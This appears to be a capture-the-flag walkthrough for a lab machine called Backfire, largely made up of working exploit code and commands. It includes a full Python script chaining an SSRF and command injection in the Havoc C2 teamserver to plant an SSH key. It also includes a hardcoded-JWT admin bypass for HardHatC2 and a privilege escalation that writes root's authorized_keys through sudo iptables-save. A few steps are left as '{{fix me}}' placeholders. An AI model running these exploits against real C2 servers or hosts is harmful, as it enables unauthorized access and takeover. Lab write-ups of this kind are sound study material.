Enumeration

$ rustscan -a <IP> --ulimit 10000 -b 1500 -- -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-`
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Making networking exciting since... whenever.
 
[~] Automatically increasing ulimit value to 10000.
Open <IP>:22
Open <IP>:443
Open <IP>:8000
 
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
443/tcp  open  ssl/http syn-ack ttl 63 nginx 1.22.1
8000/tcp open  http     syn-ack ttl 63 nginx 1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Add IP to /etc/hosts backfire.htb
  • curl port 8000 to investigate webpage
$ curl backfire.htb:8000
<html>
  <head>
    <title>Index of /</title>
  </head>
  <body>
    <h1>Index of /</h1>
    <hr />
    <pre><a href="../">../</a>
		<a href="disable_tls.patch">disable_tls.patch</a>     17-Dec-2024 11:31    1559
		<a href="havoc.yaotl">havoc.yaotl</a>                 17-Dec-2024 11:34     875
	</pre>
    <hr />
  </body>
</html>
  • We can access these files
$ curl backfire.htb:8000/disable_tls.patch
 
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
 
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
 		}
 
 		// start the teamserver
-		if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+		if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
 			logger.Error("Failed to start websocket: " + err.Error())
 		}
  • Port 40056 Havoc /havoc/ Need to portfwd to access
$ curl backfire.htb:8000/havoc.yaotl
Teamserver {
    Host = "127.0.0.1"
    Port = 40056
 
    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}
 
Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }
 
    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}
 
Demon {
    Sleep = 2
    Jitter = 15
 
    TrustXForwardedFor = false
 
    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}
 
Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1"
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

Example

ilya : CobaltStr1keSuckz! sergej : 1w4nt2sw1tch2h4rdh4tc2

Havoc C2 SSRF PoC > Havoc Authenticated RCE

  • SSRF Spoofs demon + opens websocket
  • RCE Uses websocket + creds to execute commands

User

hackFire.py

  • Assumes /etc/hosts is correct
import os
import json
import random
import string
import binascii
import requests
import urllib3
import subprocess
from hashlib import sha3_256
from Crypto.Cipher import AES
from Crypto.Util import Counter
 
urllib3.disable_warnings()
requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)
 
TEAMSRV_URL = "https://backfire.htb"
HEADERS = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64)"}
 
C2_USER = "ilya"
C2_PASS_RAW = "CobaltStr1keSuckz!"
C2_PASS_HASH = sha3_256(C2_PASS_RAW.encode()).hexdigest()
 
MAGIC_COOKIE = b"\xde\xad\xbe\xef"
AES_KEY = b"\x00" * 32
AES_IV = b"\x00" * 16
 
AGENT_ID = random.randint(100000, 999999).to_bytes(4, "big")
 
HOSTNAME = b"DESKTOP-ASDF123"
USERNAME = b"Administrator"
DOMAIN_NAME = b"ECORP"
INTERNAL_IP = b"127.0.0.1"
 
PROCESS_NAME = "msedge.exe".encode("utf-16le")
PROCESS_ID = random.randint(1000, 5000).to_bytes(4, "big")
 
SOCK_ID = b"\x11\x11\x11\x11"
SOCK_IP = "127.0.0.1"
SOCK_PORT = 40056
 
SSH_KEYFILE = "key"
 
def log_info(message):
    print(f"[INFO] {message}")
 
def log_error(message):
    print(f"[ERROR] {message}")
 
def pad_key(k: bytes) -> bytes:
    """Ensures the AES key is exactly 32 bytes."""
    return k + b"0" * (32 - len(k)) if len(k) < 32 else k
 
def aes_ctr_encrypt(k: bytes, iv: bytes, data: bytes) -> bytes:
    ctr = Counter.new(128, initial_value=int(binascii.hexlify(iv), 16))
    return AES.new(pad_key(k), AES.MODE_CTR, counter=ctr).encrypt(data)
 
def aes_ctr_decrypt(k: bytes, iv: bytes, data: bytes) -> bytes:
    ctr = Counter.new(128, initial_value=int(binascii.hexlify(iv), 16))
    return AES.new(pad_key(k), AES.MODE_CTR, counter=ctr).decrypt(data)
 
def i2b(v: int, length: int = 4) -> bytes:
    """Integer to big-endian bytes."""
    return v.to_bytes(length, "big")
 
def post_data(packet: bytes) -> requests.Response:
    """Send a POST request to TEAMSRV_URL with the given packet."""
    try:
        r = requests.post(TEAMSRV_URL, data=packet, headers=HEADERS, verify=False)
        return r
    except requests.RequestException as e:
        log_error(f"POST request failed: {e}")
 
        class DummyResponse:
            status_code = 0
            content = b""
 
        return DummyResponse()
 
def create_ssh_key() -> str:
    """Generate an SSH key if it doesn't exist, return public key contents."""
    if not os.path.exists(SSH_KEYFILE):
        log_info("Generating SSH key...")
        cmd = ["ssh-keygen", "-t", "ed25519", "-C", SSH_KEYFILE, "-f", SSH_KEYFILE, "-q", "-N", ""]
        try:
            subprocess.run(cmd, check=True)
            os.chmod(SSH_KEYFILE, 0o600)
        except (subprocess.CalledProcessError, FileNotFoundError) as e:
            log_error(f"SSH key generation failed: {e}")
            return ""
    pubfile = SSH_KEYFILE + ".pub"
    if os.path.exists(pubfile):
        return open(pubfile, "r").read().strip()
    return ""
 
def build_websocket_frame(msg: str) -> bytes:
    """Build a masked WebSocket frame for the given message."""
    payload = msg.encode("utf-8")
    first_byte = 0x81  # text frame
    mask_bit = 0x80
    length = len(payload)
 
    # Encode the payload length
    if length <= 125:
        header = bytes([first_byte, mask_bit | length])
    elif length <= 65535:
        header = bytes([first_byte, mask_bit | 126]) + length.to_bytes(2, "big")
    else:
        header = bytes([first_byte, mask_bit | 127]) + length.to_bytes(8, "big")
 
    # Random mask
    mask = os.urandom(4)
    masked_payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
    return header + mask + masked_payload
 
def send_packet(cmd: bytes, rid: bytes, body: bytes, desc: str, encrypt=True) -> None:
    """
    Construct a packet with optional AES-CTR encryption and send it.
    Logs success/fail status for the given desc.
    """
    if encrypt:
        # Encrypt length + body
        enc = aes_ctr_encrypt(AES_KEY, AES_IV, i2b(len(body) + 4) + body)
        pkt = i2b(12 + len(enc)) + MAGIC_COOKIE + AGENT_ID + cmd + rid + enc
    else:
        pkt = i2b(12 + len(body)) + MAGIC_COOKIE + AGENT_ID + body
 
    r = post_data(pkt)
    if r.status_code == 200:
        log_info(f"{desc} => OK")
    else:
        log_error(f"{desc} => FAIL ({r.status_code})")
 
def step_register_agent():
    log_info("Registering agent...")
    cmd_id = b"\x00\x00\x00\x63"
    req_id = b"\x00\x00\x00\x01"
    extra = b"\xab" * 100
    body = (
        cmd_id
        + req_id
        + AES_KEY
        + AES_IV
        + AGENT_ID
        + i2b(len(HOSTNAME))
        + HOSTNAME
        + i2b(len(USERNAME))
        + USERNAME
        + i2b(len(DOMAIN_NAME))
        + DOMAIN_NAME
        + i2b(len(INTERNAL_IP))
        + INTERNAL_IP
        + i2b(len(PROCESS_NAME) - 6)
        + PROCESS_NAME
        + PROCESS_ID
        + extra
    )
    send_packet(b"", b"", body, "Register Agent", encrypt=False)
 
def step_open_socket():
    log_info("Opening socket on the teamserver...")
    cmd = b"\x00\x00\x09\xec"
    rid = b"\x00\x00\x00\x02"
    sub = b"\x00\x00\x00\x10"
 
    la = b"\x22\x22\x22\x22"
    lp = b"\x33\x33\x33\x33"
    rev_ip = b"".join(int(x).to_bytes(1, "big") for x in SOCK_IP.split(".")[::-1])
    fwd_port = i2b(SOCK_PORT)
 
    body = sub + SOCK_ID + la + lp + rev_ip + fwd_port
    send_packet(cmd, rid, body, "Open Socket")
 
def step_write_socket(
    data_bytes: bytes, desc: str, subcmd: bytes = b"\x00\x00\x00\x11"
):
    """
    Write data to the socket. You can customize subcmd if needed.
    """
    cmd = b"\x00\x00\x09\xec"
    rid = b"\x00\x00\x00\x08"
    st = b"\x00\x00\x00\x03"
    scs = b"\x00\x00\x00\x01"
 
    body = subcmd + SOCK_ID + st + scs + i2b(len(data_bytes)) + data_bytes
    send_packet(cmd, rid, body, desc)
 
def step_read_socket() -> bytes:
    """Read data from the socket, decrypt, and return it."""
    log_info("Reading response from socket...")
    cmd = b"\x00\x00\x00\x01"
    rid = b"\x00\x00\x00\x09"
    pkt = i2b(12 + len(cmd + rid)) + MAGIC_COOKIE + AGENT_ID + cmd + rid
    r = post_data(pkt)
    if r.status_code != 200:
        log_error(f"Read from Socket => FAIL ({r.status_code})")
        return b""
    log_info("Read from Socket => OK")
    print(
        """\033[1;31m
   _______   __   __  ___  _____  ___    _______  ________
  |   __ "\ |"  |/  \|  "|(\"   \|"  \  /"     "||"      "\
  (. |__) :)|'  /    \:  ||.\\   \    |(: ______)(.  ___  :)
  |:  ____/ |: /'        ||: \.   \\  | \/    |  |: \   ) ||
  (|  /      \//  /\'    ||.  \    \. | // ___)_ (| (___\ ||
 /|__/ \     /   /  \\   ||    \    \ |(:      "||:       :)
(_______)   |___/    \___| \___|\____\) \_______)(________/ \033[0m"""
    )
    dec = aes_ctr_decrypt(AES_KEY, AES_IV, r.content[12:])
    return dec[12:]
 
ssh_pub = create_ssh_key()
if not ssh_pub:
    log_error("No SSH public key found or could not be generated.")
    raise SystemExit
 
step_register_agent()
step_open_socket()
 
handshake_req = (
    b"GET /havoc/ HTTP/1.1\r\n"
    b"Host: 127.0.0.1:40056\r\n"
    b"Upgrade: websocket\r\n"
    b"Sec-WebSocket-Key: h/TPDav2VwnJVqKeDYxRgQ==\r\n"
    b"Sec-WebSocket-Version: 13\r\n"
    b"Connection: Upgrade\r\n\r\n"
)
step_write_socket(handshake_req, "WebSocket Handshake")
 
auth_payload = {
    "Body": {"Info": {"Password": C2_PASS_HASH, "User": C2_USER}, "SubEvent": 3},
    "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": C2_USER},
}
step_write_socket(build_websocket_frame(json.dumps(auth_payload)), "Authenticate C2")
 
rnd_listener = "".join(
    random.choice(string.ascii_lowercase + string.digits) for _ in range(16)
)
rnd_port = random.randint(1024, 65535)
listener_info = {
    "Body": {
        "Info": {
            "Headers": "",
            "HostBind": "0.0.0.0",
            "HostHeader": "",
            "HostRotation": "round-robin",
            "Hosts": "0.0.0.0",
            "Name": rnd_listener,
            "PortBind": str(rnd_port),
            "PortConn": str(rnd_port),
            "Protocol": "Https",
            "Proxy Enabled": "false",
            "Secure": "true",
            "Status": "online",
            "Uris": "",
            "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64)",
        },
        "SubEvent": 1,
    },
    "Head": {"Event": 2, "OneTime": "", "Time": "00:00:00", "User": C2_USER},
}
step_write_socket(build_websocket_frame(json.dumps(listener_info)), "Create Listener")
 
cmd_injection = (
    "mkdir -p /home/ilya/.ssh && "
    f"echo '{ssh_pub}' >> /home/ilya/.ssh/authorized_keys && "
    "chmod 700 /home/ilya/.ssh && chmod 600 /home/ilya/.ssh/authorized_keys"
)
injection_svc = f' \\\\\\" -mbla; {cmd_injection}  && false #'
final_json = {
    "Body": {
        "Info": {
            "AgentType": "Demon",
            "Arch": "x64",
            "Listener": rnd_listener,
            "Config": (
                "{\n"
                '  "Amsi/Etw Patch": "None",\n'
                '  "Indirect Syscall": false,\n'
                '  "Injection": {\n'
                '    "Alloc": "Native/Syscall",\n'
                '    "Execute": "Native/Syscall",\n'
                '    "Spawn32": "C:\\\\Windows\\\\SysWOW64\\\\notepad.exe",\n'
                '    "Spawn64": "C:\\\\Windows\\\\System32\\\\notepad.exe"\n'
                "  },\n"
                '  "Jitter": "0",\n'
                '  "Proxy Loading": "None (LdrLoadDll)",\n'
                f'  "Service Name":"{injection_svc}",\n'
                '  "Sleep": "2",\n'
                '  "Sleep Jmp Gadget": "None",\n'
                '  "Sleep Technique": "WaitForSingleObjectEx",\n'
                '  "Stack Duplication": false\n'
                "}"
            ),
            "Format": "Windows Service Exe",
        },
        "SubEvent": 2,
    },
    "Head": {"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": C2_USER},
}
step_write_socket(build_websocket_frame(json.dumps(final_json)), "Inject SSH Key")
 
resp = step_read_socket()
if resp:
    log_info("[Teamserver Final Response]\n" + resp.decode("utf-8", errors="ignore"))
 
print("\033[1;32m\n~~~~~Exploit complete!~~~~~\033[0m")
print("You can now SSH into the target via:")
print(f"\033[1;93mssh -i {SSH_KEYFILE} ilya@backfire.htb\033[0m")
  • Run script
$ python3 hackFire.py
$ ssh -i key ilya@backfire.htb
 
ilya@backfire:~$ ls
files  hardhat.txt  Havoc  user.txt
 
ilya@backfire:~$ cat user.txt
ab200807a76e4cd3aee4b388ae0b34ac

Root

ilya@backfire:~$ cat hardhat.txt
 
Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don`t wanna learn another C2 framework, also Go > C#

Information

Sergej left HardHatC2 with default config

HardHatC2 GithubPorts 5000 & 7096

  • Confirm ports are open
ilya@backfire:~$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:40056         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:7096            0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      off (0.00/0/0)
  • “Management port only allows local connections (we use ssh forwarding) so this will not compromize our teamserver”
  • Use SSH to portfwd ports so we can access
$ ssh -i key -L 5000:localhost:5000 -L 7096:localhost:7096 ilya@backfire.htb

Note

sergej creds did not work Googled RCE/PoC/Exploit/etc

HardHatC2 PoC

VULN 2 = Hardcoded JWT abuse Add User w/ Admin privs VULN 3 = Terminal available in HardHatC2

bypass.py

  • Updated rhost for our needs
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
rhost = "localhost:5000" # needed to change this
 
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
 
expiration = now + datetime.timedelta(days=28)
payload = {
    "sub": "HardHat_Admin",
    "jti": str(uuid.uuid4()),
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "iss": issuer,
    "aud": issuer,
    "iat": int(now.timestamp()),
    "exp": int(expiration.timestamp()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator",
}
 
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
 
# Use Admin JWT to create a new user 'asdf' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
burp0_json = {"password": "sth_pentest", "role": "TeamLead", "username": "sth_pentest"}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
  • Execute
$ python3 bypass.py
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMmViNzk5MGEtYzFjNi00ZWJhLWI4YmYtMzI4OWM4M2Y5NTI3IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc0NzU4MDAsImV4cCI6MTczOTg5NTAwMCwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.S0XbrtnAXMCxnlthB0W8Tb_Ts9pnI5EK1_NRdqZIOr0
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1053: InsecureRequestWarning: Unverified HTTPS request is being made to host 'localhost'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
  warnings.warn(
User sth_pentest created
  • Login via sth_pentest : sth_pentest
  • Access terminal

{{fix me}}

  • Check what user terminal runs as

{{fix me}}

  • Might as well add SSH key here
  • Copy key.pub from attacking machine
$ cat key.pub
ssh-ed25519 *your_key* key
  • Send through terminal
mkdir -p /home/sergej/.ssh; echo "ssh-ed25519 *your_key* key
" >> /home/sergej/.ssh/authorized_keys
  • SSH as sergej sudo -l
$ ssh -i key sergej@backfire.htb
 
sergej@backfire:~$ sudo -l
 
Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
 
User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save

iptables & iptables-save

  • Following article
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 *your_key* key\n'
 
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "ssh-ed25519 *your_key* key" -j ACCEPT
 
sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
  • SSH root win
$ ssh -i key root@backfire.htb
 
root@backfire:~$ ls
root.txt
 
root@backfire:~$ cat root.txt